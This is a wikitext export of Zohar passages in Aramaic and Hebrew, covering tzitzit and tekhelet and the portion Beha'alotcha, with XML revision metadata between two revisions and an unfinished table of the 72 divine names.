דאמריה אתעטף בעטופא דמצוה בארבע זיויין דכסותיה ארבע מלכין נפקין לקדמות ארבע. ארבע סהדי קשוט דמלכא תליין מארבע זיויין ותליין בהו כענבים באתכלא. מה אתכלא דאיהו חד ותליין ביה כמה ענבים מהאי סטר ומהאי סטר כך האי מצוה חדא ותליין ביה כמה ענבים וזגין וזמורין צרירין בהו. שבעה רהיטין אלין אינון שבעה צרירין דתכלתא דבעי לכרכא ביה בכל חד וחד, או לאסגאה עד תליסר מאן דיוסיף לא יוסיף עלייהו על תליסר מאן דימעט לא ימעט משבעה. ותאנא האי תכלת הוא רזא דדוד מלכא ודא חוטא דאברהם דזכה ביה לבנוי בתרוי מאי תכלת תכלית דכלא (ודאי) רבי יהודה אומר כסא הכבוד אקרי. רבי יצחק אמר שבעה כריכן דאיהי שכינתא שביעתא דכלא ודאי דהא היא מתברכא משיתא אחרנין על ידא דצדיק ואי תלת עשר תלת עשר אינון כמה דאוקמוה בתלת עשר מכילן והאי היא פתחא דכלהו. והיא חוטא חד ורשימא בגוונהא וגוונא דילה נפיק מחד נונא דאזיל בים כנרת וכנרת על שמה אתקרי ועל דא כנור הוה תלוי לעילא מערסא דדוד דהא (דדוד) ודאי איהו כנור דדוד מנגן מאליו למלכא קדישא עלאה ובגין כך גוונוי עייל עד רקיעא ומרקיעא עד כורסייא והכא כתיב מצוה כמה דאת אמר {{צ|מצות המלך היא}} {{צ|מדוע אתה עובר את מצות המלך}}. {{צ|כי מצות המלך}}. ותאנא יסודא ושרשא במלכא מתעטרין כחדא והאי הוא כתרא ופתחא לכל שאר כתרין דכתיב פתחו לי שערי צדק. וכתיב (שם) {{צ|זה השער ליהוה}} ועל דא כתיב {{צ|וראיתם אותו וזכרתם את כל מצות יהוה}} לאכללא בהאי כל שאר כתרין ועל דא אינון סהדי סהדותא ולא קיימי בדוכתייהו בגין דאיהי מצות ותנינן תשמישי מצוה נזרקין. ואי תימא הא לולב וערבה וכו' תשמישי קדושה אינון אמאי נזרקין. אלא תשמישי קדושה בגין דרשימין בכתיבה דשמא קדישא. א&quot;ר יצחק אינון חוטין לאחזאה היך תליין מכאן ומכאן לד' סטרי עלמא מהאי אתר ואיהי שלטא על כלא ברזא דלב דאיהי לבא דכל האי עלמא ולבא דעלאי ותליא בלב עלאה וכלא הוא בלב דנפק מחכמה עלאה. א&quot;ר יצחק שעורא דהאי (ס&quot;א ואורכא) דהאי אתמר באתוון גליפן דר' אלעזר. א&quot;ר יהודה אמר קב&quot;ה מאן דבעי למהך בתר דחלתי יהך בתר לבא דא ובתר עיינין דקיימין עלה. מאן אינון עיינין כמה דאת אמר {{צ|עיני יהוה אל צדיקים}} אבל אתם {{צ|לא תתורו אחרי לבבכם ואחרי עיניכם}}. מ&quot;ט &lt;קטע סוף=דף קעה ב/&gt;

 
{{ממ זהר משולב|ג|קעו|א}}&lt;קטע התחלה=דף קעו א/&gt;בגין דאתם זונים אחריהם. אמר רבי חייא מאי טעמא הכא יציאת מצרים דכתיב אשר הוצאתי אתכם מארץ מצרים אלא בגין דכד נפקו ממצרים בהאי חולקא עאל ובהאי קטיל קב&quot;ה קטולא דמצרים ועל דא באתריה אתדכר ובאתריה אזדהר להו בדא. מאי באתריה בגין דהאי מצוה היא אתר דילה. תאני ר' ייסא כתיב {{צ|כימי צאתך מארץ מצרים אראנו נפלאות}}. {{צ|כימי}} - &quot;כיום&quot; מבעי ליה דהא בחד זמנא נפקו ולא אתעכבו!? אלא כאינון יומין עלאין דאתברכא בהו כנסת ישראל כך זמין קב&quot;ה לאפקא להו ישראל מן גלותא וכדין כתיב  {{צ|ואמרתם ביום ההוא הודו ליהוה קראו וגו' זמרו יהוה כי גאות עשה מודעת זאת בכל הארץ}}. מאי {{צ|מודעת זאת}}? בגין דהשתא אשתמודעא זאת בעטופא דמצוה בההוא זמנא אשתמודעא זאת בכמה נמוסין דילה דיעביד קב&quot;ה אתין ונסין בעלמא כדין כתיב {{צ|ביום ההוא יהיה יהוה אחד ושמו אחד}}. 

'''ברוך יהוה לעולם אמן ואמן. ימלוך יהוה לעולם אמן ואמן''': &lt;קטע סוף=דף קעו א/&gt;

==פרשת שלח לך - רעיא מהימנא==
{{להשלים}}


--------------</text>
      <sha1>cef6mlincko3mh88znk8blp4pmr5vjl</sha1>
    </revision>
    <revision>
      <id>3020713</id>
      <parentid>3020701</parentid>
      <timestamp>2026-06-18T23:25:26Z</timestamp>
      <contributor>
        <username>Roxette5</username>
        <id>5159</id>
      </contributor>
      <comment>/* פרשת שלח לך - זהר */</comment>
      <origin>3020713</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="298666" sha1="7g0il2hzuuy145dehxpb4cazodbljxt" xml:space="preserve">{{סרגל ניווט|זוהר||חלק כה|חלק כו|חלק כז}}
__TOC__
==פרשת בהעלותך - זהר==
{{ממ זהר משולב|ג|קמח|ב}}{{ש}}
&lt;קטע התחלה=דף קמח ב/&gt;'''{{צ|וידבר יהוה אל משה לאמר דבר אל אהרן ואמרת אליו בהעלותך את הנרות וגו'}} {{הפניה לפסוקים|במדבר|ח|א|ב}}''' {{ש}}
רבי יהודה פתח {{צ|והוא כחתן יוצא מחופתו וגו'}} {{ממ|תהלים|יט|ו}} - זכאה חולקיהון דישראל דקב&quot;ה אתרעי בהון ויהב להון אורייתא דקשוט, אילנא דחיי דביה ירית בר נש חיין להאי עלמא וחיין לעלמא דאתי. דכל מאן דאשתדל באורייתא ואחיד בה - אחיד בחיין, וכל מאן דשביק מלי דאורייתא ואתפרש מאורייתא - כאלו מתפרש מחיין. בגין דהיא חיין וכל מלוי חיין. הדא הוא דכתיב {{צ|כי חיים הם וגו'}} {{ממ|משלי|ד|כב}}. וכתיב {{צ|רפאות תהי לשרך וגו'}} {{ממ|משלי|ג|ח}}. 

תא חזי אילנא דחיי אחיד מעילא לתתא. והאי שמשא דנהיר לכלא - נהורא דיליה שארי מרישא, ואתפשט בגופא דאילנא בארח מישר. תרין סטרין אחידן ביה - חד לצפון וחד לדרום. חד ימינא וחד שמאלא.

בשעתא דשמשא נהיר כמה דאתמר מההוא גופא דאילנא - אתקיף לדרועא דימינא ואנהיר בתוקפיה. ומתוקפיה נהיר שמאלא ואתכליל בנהוריה. 

{{צ|והוא כחתן יוצא מחפתו}} - מאן איהו {{צ|חפתו}}? דא איהו {{צ|עטרה שעטרה לו אמו ביום חתנתו}} {{ממ|שיר|ג|יא}}.{{ש}} 
{{צ|יוצא מחפתו}} - דא איהו רישא דכל נהורא, כמה דאת אמר בקרא דאבתריה - {{צ|מקצה השמים מוצאו}} {{ממ|תהלים|יט|ז}}. דא שירותא דכלא דאקרי {{צ|מקצה השמים}}, וכדין נפיק כחתן ממש כד נפיק לאערעא לכלתיה רחימתא דנפשוי ופריש דרועוי ומקבל לה. כהאי גוונא {{צ|והוא כחתן יוצא מחפתו}} - אזלא שמשא ואתפשט לגבי מערב. 

כיון דמערב אתקריב, סטר צפון אתער לקבליה בקדמיתא, וקריב למערב וזויג לה{{הערה|הכי גריס הרמק (המתוק מדבש)}} באתריה כמה דאתמר, דכתיב {{צ|שמאלו תחת לראשי}} {{ממ|שיר|ח|ג}}. ולבתר סטר דרום דאיהו ימינא דכתיב {{צ|וימינו תחבקני}}. כדין {{צ|ישיש כגבור לרוץ ארח}} - לאנהרא סיהרא ואוקמוה. 


תא חזי '''{{צ|בהעלותך את הנרות}}''' - אלין בוצינין עלאין דכלהו נהירין כחדא מן שמשא. '''(חסר כאן)'''
{{להשלים}} 


ר' אבא פתח: {{צ|אשרי העם יודעי תרועה יהוה באור פניך יהלכון}} {{ממ|תהלים|פט|טז}}. {{ש}}
האי קרא אוקמוה, אבל תא חזי זכאין אינון ישראל! &lt;קטע סוף=דף קמח ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קמט|א}}{{ש}}&lt;קטע התחלה=דף קמט א/&gt; דקב&quot;ה יהב לון אורייתא קדישא, ואוליף לון ארחוי לאתדבקא ביה ולמיטר פקודי דאורייתא למזכי בהו לעלמא דאתי, וקריב להו בשעתא דנפקו ממצרים - דהא כדין אפיק לון מרשותא אחרא וסליק לון לאתאחדא בשמיה. וכדין אקרון בני ישראל 'בני חורין' מכלא - דלא יתבו תחות רשותא אחרא, וסליק לון לאחדא בשמיה דסליק על כלא דשליט על עלאין ותתאין. 

ומגו רחימותא דלהון קרא לון {{צ|בני בכורי ישראל}} כגוונא  עלאה. ועל דא קטל  כל בכור דלעילא ותתא, ושרא קטירין ואסירין דעלאין ותתאין, בגין לאפקא לון ועבד לון בני חורין מכלא. ועל דא לא בעא קב&quot;ה לא מלאך ולא שרף אלא איהו. ועוד דהא איהו ידע לאבחנא ולמנדע כלא ולמשרי אסירין. ולאו אינון ברשותא דשליחא אחרא אלא בידיה. 

תא חזי בההוא ליליא דבעא קב&quot;ה לקטלא כל אינון בכורי כמה דאתמר, בשעתא דרמש ליליא אתו מזמרין לזמרא קמיה. אמר לון &quot;''לאו עידן הוא! דהא שירתא אחרא מזמרין בני בארעא!''&quot;. 

בשעתא דאתפליג ליליא - אתער רוח צפון, וקב&quot;ה כדין עבד נוקמין  וישראל מזמרין ואמרין הלילא בקול רם, וכדין עבד לון בני חורין מכלא. ומלאכין עלאי וכל משריין כלהו הוו צייתין להון לקליהון דישראל. בתר דאתגזרו - רשימו לבתיהון מההוא דמא ומדמא דפסחא, בתלת רשימין - על המשקוף ועל שתי המזוזות. מאי טעמא? הא אוקמוה בגין דאיהו רשימא קדישא, ומחבלא כד איהו נפיק וחמי ההוא דמא דהוה רשים על ההוא פתחא -- חייס עלייהו דישראל. הדא הוא דכתיב {{צ|ופסח יהוה על הפתח וגו'}} {{ממ|שמות|יב|כג}}. 

הכא אית לאסתכלא. אי קודשא בריך הוא אתי וקטיל בארעא דמצרים ולא שליח אחרא - רשימא דא דעל פתחא למה? והא כלא גלי קמיה!? {{ש}}
ותו  מהו {{צ|ולא יתן המשחית}}?! &quot;ולא ישחית&quot; מבעי ליה?! {{ש}}
אלא ודאי הכי הוא דכתיב {{צ|ויהו&quot;ה הכה כל בכור}} {{ממ|שמות|יב|כט}} - {{צ|ויהו&quot;ה - הוא ובית דינו}}. וההוא בי דינא הכא אשתכח. 

מכאן דבכלא בעי לאחזאה עובדא בגין לאשתזבא! דהא כגוונא דא על גבי מדבחא בגין דלא אשתכח מחבלא. האי בעובדא. ובזמנא דלא אצטריך האי - כגון ראש השנה דאיהו יומא דדינא ומאריהון דלישנא בישא קיימין עלייהו דישראל - בעינן מלין צלותין ובעותין ובעינן לאחזאה עובדא כמה דאוקימנא והא אתמר. ובמה? בשופר,  לאתערא שופרא אחרא. ואנן מפיקין בההוא קלא רחמי ודינא כחדא, כלא כדקא יאות, כמה דההוא שופר עלאה אפיק קלא דאיהו כללא כחדא. ולאתערא רחמי קאזלינן, ולתברא מאריהון דדינא דלא ישלטון בהאי יומא. {{ש}}
וכד רחמי מתערין - כלהו בוצינין עלאין נהרין מהאי גיסא ומהאי גיסא. כדין {{צ|באור פני מלך חיים}} {{ממ|משלי|טז|טו}}. 

תא חזי בשעתא דכהנא  אתכוון לאדלקא בוצינין לתתא והוה קריב קטורת בוסמין - בההוא שעתא כדין בוצינין עלאין נהרין ואתקטר כלא כחדא, וחדו וחדוותא אשתכח בכלהו עלמין. הדא הוא דכתיב {{צ|שמן וקטורת ישמח לב}} {{ממ|משלי|כז|ט}}. {{ש}}
ועל דא '''{{צ|בהעלותך את הנרות}}'''.


'''רבי אלעזר ור' יוסי ור' יצחק''' הוו אזלי באורחא. {{ש}}
פגעו באינון טורי קרדו. {{ש}}
עד דהוו אזלי - זקף עינוי ר' אלעזר וחמי אינון טורי רמאי, והוו חשוכן ודחלן בדחילו. {{ש}}
א&quot;ר אלעזר לאינון חברייא: &quot;''אלו אבא הכא - לא הוה דחילנא! אבל כיון דאנן תלתא ומלי דאורייתא ביננא - דינא הכא לא אשתכח!''&quot; 

פתח ר' אלעזר ואמר: כתיב {{צ|ותנח התיבה בחדש השביעי וגו' על הרי אררט וגו'}} {{ממ|בראשית|ח|ד}}. {{ש}}
כמה חביבין מלי דאורייתא! דבכל מלה ומלה אית רזין עלאין ואורייתא כלא עלאה איקרי! ותנינן בתליסר מכילן דאורייתא {{צ|כל דבר שהיה בכלל ויצא מן הכלל ללמד - לא ללמד על עצמו יצא - אלא ללמד על הכלל כלו יצא}}. &lt;קטע סוף=דף קמט א/&gt;{{ש}}
{{ממ זהר משולב|ג|קמט|ב}}{{ש}}
&lt;קטע התחלה=דף קמט ב/&gt;דהא אורייתא דאיהי כללא עלאה - אע&quot;ג דנפק מנה חד ספור בעלמא - ודאי לא אתי לאחזאה על ההוא ספור, אלא לאחזאה מלין עלאין ורזין עלאין! ולא ללמד על עצמו יצא - אלא ללמד על הכלל כלו יצא! בגין דההוא ספור דאורייתא או ההוא עובדא - אע&quot;ג דהוא נפקא מכללא דאורייתא - לאו לאחזאה על גרמיה נפק בלבד, אלא לאחזאה על ההוא כללא עלאה דאורייתא כלא נפק! 

כגון האי דכתיב {{צ|ותנח התיבה בחדש השביעי בשבעה עשר יום לחדש על הרי אררט}}. ודאי האי קרא מכללא דאורייתא נפק ואתי בספור דעלמא! מאי אכפת לן אי שרי בהאי או בהאי - דהא באתר חד לישרי?! אלא ללמד על הכלל כלו יצא! וזכאין אינון ישראל דאתיהיב להו אורייתא עלאה אורייתא דקשוט! ומאן דאמר דההוא ספורא דאורייתא לאחזאה על ההוא ספור בלבד קאתי - תיפח רוחיה! דאי הכי לאו איהי אורייתא עלאה אורייתא דקשוט. אלא ודאי אורייתא קדישא עלאה איהי אורייתא דקשוט. 

תא חזי מלך בשר ודם לאו יקרא דיליה הוא לאשתעי מלה דהדיוטא - כל שכן למכתב ליה. ואי סליק בדעתך דמלכא עלאה קב&quot;ה לא הוו ליה מלין קדישין למכתב ולמעבד מנייהו אורייתא, אלא דאיהו כניש כל מלין דהדיוטין כגון מלין דעשו, מלין דהגר, מלין דלבן ביעקב, מלין דאתון, מלין דבלעם, מלין דבלק, מלין דזמרי - וכניש להו וכל שאר ספורין דכתיבין ועביד מנייהו אורייתא. אי הכי אמאי אקרי 'תורת אמת' - {{צ|תורת יהוה תמימה. עדות יהוה נאמנה. פקודי יהוה ישרים. מצות יהוה ברה. יראת יהוה טהורה. משפטי יהוה אמת}}?! וכתיב {{צ|הנחמדים מזהב ומפז רב}} - אלין אינון מלי דאורייתא! {{ש}}
אלא ודאי אורייתא קדישא עלאה איהו אורייתא דקשוט, {{צ|תורת יהוה תמימה}}, וכל מלה ומלה אתייא לאחזאה מלין  עלאין. דההוא מלה דההוא ספור לאו לאחזאה על גרמיה בלבד קא אתיא - אלא לאחזאה על ההוא כללא קאתי כמה דאוקימנא. 

תא חזי {{צ|ותנח התיבה וגו'}}. האי קרא כך  איהו והא אתמר. בשעתא דדינא תלי על עלמא ודינין שריין, וקב&quot;ה יתיב על כורסייא דדינא למידן עלמא בההוא כורסייא - כמה רשימין אתרשימו ביה! כמה פיתקין גניזין בגויה! בגו אחמתא דמלכא כלהו ספרים דפתיחו תמן אתגניזו. ובגין כך לא אתנשי מלה מן מלכא. והאי כורסייא לא אתקן ולא שריא אלא ב{{צ|חדש השביעי}} דאיהו יומא דדינא, יומא דכל בני עלמא אתפקדון ביה. כלהו עברין קמי ההוא כרסייא.{{ש}}
ועל דא {{צ|ותנח התבה בחדש השביעי}} - בחדש השביעי ודאי! דאיהו דינא דעלמא. 

{{צ|על הרי אררט}} - אלין  מאריהון דדינין, מאריהון דיבבא ויללא.  דכלהו שכיחין בההוא יומא קמי קב&quot;ה. וכמה מארי תריסין אתערו בהאי יומא, וכלהו קיימי תחות ההוא כרסייא בדינא דעלמא. וישראל מצלאן צלותא בההוא יומא ובעאן ומתחננן קמיה, ותקעין בשופר, וקב&quot;ה חייס עלייהו ומהפך דינא לרחמי. וכל עלאי ותתאי פתחי ואמרי {{צ|אשרי העם יודעי תרועה}}. 

ועל דא בעינא בההוא יומא דההוא דתקע דידע עקרא דמלה, ויכוון ביה בתרועה ויעביד מלה בחכמתא. ועל דא כתיב {{צ|אשרי העם '''יודעי''' תרועה}} ולא כתיב &quot;תוקעי תרועה&quot;. והא אתמר. 


אזלו כל ההוא יומא. {{ש}}
כד רמש ליליא סליקו לחד אתר ואשכחו חד מערתא. {{ש}}
אמר רבי אלעזר &quot;''ליעול חד גו מערתא  אי אשתכח אתר דאיהו יתיר מתתקן''&quot;.{{ש}} 
עאל ר' יוסי וחמא מערתא אחרא בגויה, נהורא דשרגא ביה. {{ש}}
שמע חד קלא דהוה אמר '''{{צ|בהעלותך את הנרות אל מול פני המנורה יאירו שבעת הנרות}} {{ממ|במדבר|ח|ב}}''' - ''הכא נטלא כנסת ישראל נהורא.''&lt;קטע סוף=דף קמט ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנ|א}}{{ש}}
&lt;קטע התחלה=דף קנ א/&gt;''ואמא עלאה מתעטרא, וכלהו בוצינין מינה נהרין. בה תרין טופסירין דקיקין פרחין. שושבינין  כלהו קטרין לגבי עלאה ומתמן לתתא''. 

שמע ר' יוסי וחדי. {{ש}}
אתא לגבי ר' אלעזר. {{ש}}
אמר ליה ר' אלעזר: &quot;''ניעול! דקב&quot;ה אקדים לן האי יומא לאתרחשא לן בנסין''&quot;. {{ש}}
עאלו. {{ש}}
כיון דעאלו חמו תרין בני נשא דהוו לעאן באורייתא. {{ש}}
אמר רבי אלעזר {{צ|מה יקר חסדך אלהים ובני אדם בצל כנפיך יחסיון}}! {{ממ|תהלים|לו|ח}} {{ש}}
קמו אלין ויתבי כלהו וחדו כלהו. {{ש}}
אמר רבי אלעזר: {{צ|מה יקר חסדך אלהים}} דאשכחנא לכו! חסד עבד לן קב&quot;ה באתר דא! השתא אדליקו בוצינין! 


פתח רבי יוסי ואמר: '''{{צ|בהעלותך את הנרות}}''' - {{צ|בהעלותך}} ממש! באדלקותך! דהא כחדא אתעביד על ידא דכהנא תרין פולחנין דאינון קשורא חדא. ומאן אינון? שמן וקטרת, כדכתיב {{צ|שמן וקטרת ישַמח לב}} {{ממ|משלי|כז|ט}} דכתיב {{צ|והקטיר עליו אהרן קטרת סמים בבקר בבקר בהיטיבו את הנרת יקטירנה}} {{ממ|שמות|ל|ז}}, וכתיב {{צ|ובהעלות אהרן את הנרות בין הערבים יקטירנה}} {{ממ|שמות|ל|ח}}. {{ש}}
מאי שנא הכא {{צ|בהטיבו}} ומאי שנא התם {{צ|ובהעלות}}? 

* אמר ר' יהודה: כלא חד מלה! 

* רבי יוסי אמר: {{צ|בהטיבו}} - כמה דאת אמר {{צ|כי טובים דודיך מיין}} {{ממ|שיר|א|ב}}. {{צ|טובים}} - רווי חמרא, כמה דאת אמר {{צ|ונשבע לחם ונהיה טובים}} {{ממ|ירמיהו|מד|יז}}. 

* ר' יהודה אמר: הטבה ממש! כמה דאת אמר {{צ|וטוב לב משתה תמיד}} {{ממ|משלי|טו|טו}}.  {{צ|ובהעלות}} - דהא בזמנא דאתשקיין ואתרוויין משקיו דנחלא - כדין עלאין עלוין וברכן  אשתכחו בכלהו וחדו בכלא. ועל דא {{צ|ובהעלות}}. 

* רבי אחא אמר: בשעתא דעמיקא דכלא נהיר  - נהיר בנחלא. ונחלא נגיד  בארח מישר לאשקאה כלא. כדין כתיב  {{צ|בהטיבו}}, בגין דהא מעומקא דכלא נפקי. {{צ|בהעלות}} - דאתי מסטרא עלאה דעמיקא  דכלא דאקרי 'מחשבה'. וכלא חד מלה! וכדין כנסת ישראל אתברכא, וברכאן אשתכחי בכלהו עלמין.


רבי יצחק פתח: כתיב {{צ|בנה בניתי בית זבול לך מכון לשבתך עולמים}} {{ממ|מ&quot;א|ח|יג}}. {{ש}}
{{צ|בית זבול}} - בית זבול ודאי! כד אתפקדו בידהא כל גנזי מלכא ושלטא בהו - כדין אקרי {{צ|בית זבול}}. ורקיע חד אית דאקרי {{צ|זבול}} - דהא דא אשכח לקבלא ברכאן ולסדרא כלא. והאי אקרי {{צ|בית זבול}}. 

תא חזי כתיב {{צ|ולזבולן אמר שמח זבולן בצאתך ויששכר באהלך}} {{ממ|דברים|לג|יח}} - מלמד דאשתתפו כחדא; דא נפיק ואגח קרבא, ודא יתיב ולעי באורייתא. ודא יהיב חולקא לדא, ודא יהיב חולקא לדא. 

בחולקיה דזבולון ימא, וכנסת ישראל אקרי {{צ|ים כנרת}}. והכי אתחזי בגין דהא תכלת נפיק מתמן ואוקמוה. דהא לתתא כגוונא דלעילא; ים כנרת לעילא, ים כנרת לתתא. תכלת לעילא, תכלת לתתא. וכלא באתר חד! ועל דא ירית זבולון למיפק לאגחא קרבא. ומנלן דהכי הוא? דכתיב {{צ|עמים הר יקראו שם יזבחו זבחי צדק}} {{ממ|דברים|לג|יט}}. {{צ|זבחי צדק}} ודאי! מאי טעמא? {{צ|כי שפע ימים יינקו}}. 

ויששכר חולקיה באורייתא, ויהיב לזבולון חולקא דאורייתא ודאי. ועל דא אשתתפו כחדא לאתברכא זבולון מיששכר - דברכתא דאורייתא היא ברכתא דכלא. 

ר' אבא אמר אחסנתא דאורייתא ודאי הכי הוא! ודרגא דא שתיתאה יהיב אגר  אורייתא ואחסין לה לכנסת ישראל. אחסין חוורא לתכלתא. ועל דא תנינן {{צ|משיכיר בין תכלת ללבן}}. דישתמודען גווני. דהא כדין אקרי '''בקר''', וחוורא אתי לעלמא ותכלתא אתעבר. ועל דא כל קרבין דמלכא וכל זייני מלכא בידהא אתמנן. והא אוקימנא. 


{{קטן|'''(חסר תחלת המאמר. ועיין [[זהר חלק ג רפו א|פרשה וילך רפו א]])'''}}{{ש}} 
{{צ|באר חפרוה שרים כרוה נדיבי העם}} {{ממ|במדבר|כא|יח}}. {{ש}}
{{צ|באר}} - דא כנסת ישראל. {{צ|חפרוה שרים}} - דא אבא ואמא דאולידו לה. {{צ|כרוה נדיבי העם}} - אלין אבהן דכתיב {{צ|נדיבי עמים נאספו עם אלהי אברהם וגו'}}. &lt;קטע סוף=דף קנ א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנ|ב}}{{ש}}
&lt;קטע התחלה=דף קנ ב/&gt;בגין לאתברכא מנהון על ידא דדרגא חד. ומנו? צדיק דקאים עלה. ועל דא אמרינן כד האי באר נטלא - בסיועא דאבהן נטלא! 

ואקרי {{צ|'''באר'''}} ואקרי {{צ|'''ים'''}}. {{ש}}
אקרי {{צ|'''באר'''}} - בשעתא דיצחק נפק מזיינא מסטרא דאימא ואתי לאמשכא אבתרא דדא, ומלי לה. כדין אקרי 'באר דיצחק' 'באר דמרים'. והא אוקמוה.{{ש}} 
{{צ|'''ים'''}} - כד אתנהרא מנהרא עלאה דאבא - כדין אקרי 'ים' דנחלין אזלן לגווה, כמה דאת אמר {{צ|כל הנחלים הולכים אל הים והים איננו מלא}} {{ממ|קהלת|א|ז}}. ומיומא דגלתה כנסת ישראל בגלותא כתיב {{צ|אזלו מים מני ים}} {{ממ|איוב|יד|יא}} - דא כנסת ישראל. {{צ|ונהר יחרב ויבש}} - דא צדיק. ועל דא כתיב {{צ|הצדיק אבד וגו'}} {{ממ|ישעיה|נז|א}} - דהוא הוה נהר עלאה ויקירא דעייל בגווה. והוא כניש כל אינון נהרין ונחלין דנגדין מנגידו דההוא נהר קדישא דלא פסקין מימוי לעלמין, דנגיד ונפיק מעדן עלאה, והוא עייל בגווה ומלי אגמהא. ומתמן ירתין עלמין כלהו  ברכן בכלא. 

תא חזי בשעתא דאתברכא כנסת ישראל - עלמין כלהו אתברכן! וישראל לתתא ינקין ומתברכן בגינה. והא אוקימנא. דהיא אגנא עלייהו דישראל כמה דאתמר. 


כתיב {{צ|ויסע מלאך האלהים ההלך לפני מחנה ישראל וילך מאחריהם ויסע עמוד הענן מפניהם ויעמד מאחריהם}} {{ממ|שמות|יד|יט}}. {{ש}}
{{צ|מלאך האלהים}} - דא כנסת ישראל, והא אוקימנא. דההיא שעתא בסיועא דאבהן נטלא, וכד אינון משתכחין לגבה - כלא משתכחי. ובגין כך אתמסר באלין קראי שמא קדישא דכליל בהון אבהתא כמה דאוקימנא. חד קרא כסדרא, וחד למפרע, וחד כסדרא. 

* {{צ|ויסע מלאך האלהים ההולך וגו'}} - דא כסדרא בגין דאברהם אשתכח הכא, וכל אינון דאתו מסטריה. ועל דא איהו כסדרא כגוונא דא:
[[קובץ:ויסע טבלה.PNG||300px|]]
: '''{{קטן|(אמר המגיה כאן מצאתי כתוב פסוק ויסע כסדר כל אות ואות בבית אחד במרובע עם זה הלשון ותמצאם כולם בסוף חלק שני)}}'''

הכא אתעטר אברהם בעטרוי ואעטר לה לכנסת ישראל. ואלין אתוון כלהו בארח מישר למיהך ביממא דכתיב {{צ|יומם יצוה יהוה חסדו ובלילה שירה עמי}} {{ממ|תהלים|מב|ט}}. ועל דא כתיב {{צ|ויסע}}. אימתי נטלין במטלנייהו? הוי אימא ביממא כד נהיר שמשא. {{ש}}
ודא חד קרא דאיהו בשבעין ותרין אתוון. 


תניינא דיצחק הכי נמי דאשתכח בע&quot;ב אתוון לאשתכחא בדינא לגבי מצראי, ולגבי ישראל ברחמי. ועל דא כתיב {{צ|ויבא בין מחנה מצרים ובין מחנה ישראל}} {{ממ|שמות|יד|כ}} - לקביל אלין ולקביל אלין. {{צ|ויהי הענן והחשך}} - דהכי הוא. יומא דיצחק דעיבא הוי. עננא וחשוכא מניה הוא. ובגין כך סדורא דאתוון למפרע  ולא בארח מישר, כגוונא דא:
[[קובץ:ויבא טבלה.PNG||300px|]]
: '''{{קטן|(כאן מצאתי כתוב פסוק ויבא למפרע כל אות ואות בבית אחד במרובע עם זה הלשון)}}'''

ועל דא אתוון כלהו למפרע דכתיב {{צ|ויהי הענן והחשך}}, דכיון דעאל יצחק בדינוי - {{צ|לא קרב זה אל זה}} כתיב. {{צ|זה אל זה}} - אינון דאתו מסטרא דאברתם - לא קריבו דא בדא! דהא לא יכלין! בגין דהאי באר אתדבקא ביצחק כמה דאת אמר {{צ|ויאר את הלילה}} - דכד אתמלייא לאתחברא  ביצחק לא קרב זה אל זה ולא יכיל לקרבא. 

עד דאתא יעקב ואתחבר באברהם, ונטל ליצחק ושארי ליה באמצעיתא. כדין אתקשר מהימנותא דא בדא ודא בדא ואשתזיבו ישראל. {{ש}}
ותנינן באתר דאבהתא אשתכחי - שאר צדיקייא משתכחי גבייהו. ועל דא שמא דא סליק לסטרין אחרנין מתפרשן, אע&quot;ג דכלהו נפקין לארחא חד. 

כד נהרא האי '''באר''' מסטרא דיצחק ואתקשר ביה - אתעביד ימא רבא תקיפא, וגלגלין תקיפין סליקין ונחתין בזעף ורוגזא בתקיפו. &lt;קטע סוף=דף קנ ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנא|א}}{{ש}}&lt;קטע התחלה=דף קנא א/&gt;נטיל לעילא. סליק ונחית לתתא. אברהם אתי  לקבליה. ומגו רוגזא וזעפא וחימתא ותקיפו - זה אל זה  לא הוו מתקרבין. עד דאתא יעקב ושכיך רוגזא ומאיך ותבר גלגלי ימא. הדא הוא דכתיב {{צ|ויט משה את ידו על הים ויולך יהוה את הים ברוח קדים עזה וגו'}} {{ממ|שמות|יד|כא}}. מאי {{צ|ברוח קדים עזה}}? דא רוח יעקב! {{צ|עזה}} - תקיף לקבליה לתברא רוגזא דהאי ימא. {{צ|וישם את הים לחרבה ויבקעו המים}} -  אריק ימא מימי רוגזין, ואתפליגו מיא לסטרא דאברהם ולסטרא דיעקב. הדא הוא דכתיב {{צ|ויבקעו המים}} - לסטרא דא ולסטרא דא. ועל דא אתוון כלהו בארח מישר כדקא יאות.

[[קובץ:ויט טבלה.PNG||300px|]]
: '''{{קטן|(כאן היה כתוב פסוק ויט כסדר כל אות ואות בבית אחד במרובע עם זה הלשון)}}'''

אלין אתוון בארח מישר בסטר דיעקב, וכל אינון דאתו מסטריה. וכד אתא יעקב אתחבר באברהם, ונטל ליצחק ושארי ליה באמצעיתא - כדין אתקשר מהימנותא; דא בדא ודא בדא. ועל דא עובדא כתקונא דשמא קדישא בזווגא דאבהן אשתמודע דאיהו קשורא חד, קשורא מהימנא, למהוי רתיכא שלימתא. ובזווגא דאבהן כחדא אתעביד כלא. 

וידעין חברייא למיהך בארח מישר לאתקנא עובדין כדקא יאות. ובשמא דא קשורא דאבהן אשתכחן אורחין לדינא ולרחמי. לסיוע. לחסד. לדחילו. לאורייתא. לחיי. למותא. לטב. לביש. זכאין אינון צדיקייא דידעין אורחוי דאורייתא וידעין למיהך באורחוי דמלכא קדישא! זכאין אינון בעלמא דין ובעלמא דאתי!

[[קובץ:עב שמות טבלה.PNG||400px|]]

{| class=&quot;wikitable&quot;
|+ טבלת ויקיטקסט ממוספרת עם חישוב גימטריא
|-
| 1. {{גמט|והו}} || 2. {{גמט|ילי}} || 3. {{גמט|סיט}} || 4. {{גמט|עלם}} || 5. {{גמט|מהש}} || 6.  {{גמט|ללה}} || 7. {{גמט|אכא}} || 8. {{גמט|כהת}}
|-
| 9. {{גמט|הזי}} || 10. {{גמט|אלד}} || 11. {{גמט|לאו}} || 12. {{גמט|ההע}} || 13. {{גמט|יזל}} || 14.  {{גמט|מבה}} || 15. {{גמט|הרי}} || 16. {{גמט|הקם}}
|-
| 17.  {{גמט|לאו}} || 18. {{גמט|כלי}} || 19. {{גמט|לוו}} || 20. {{גמט|פהל}} || 21. {{גמט|נלך}} || 22. {{גמט|ייי}} || 23. {{גמט|מלה}} || 24. {{גמט|חהו}}
|-
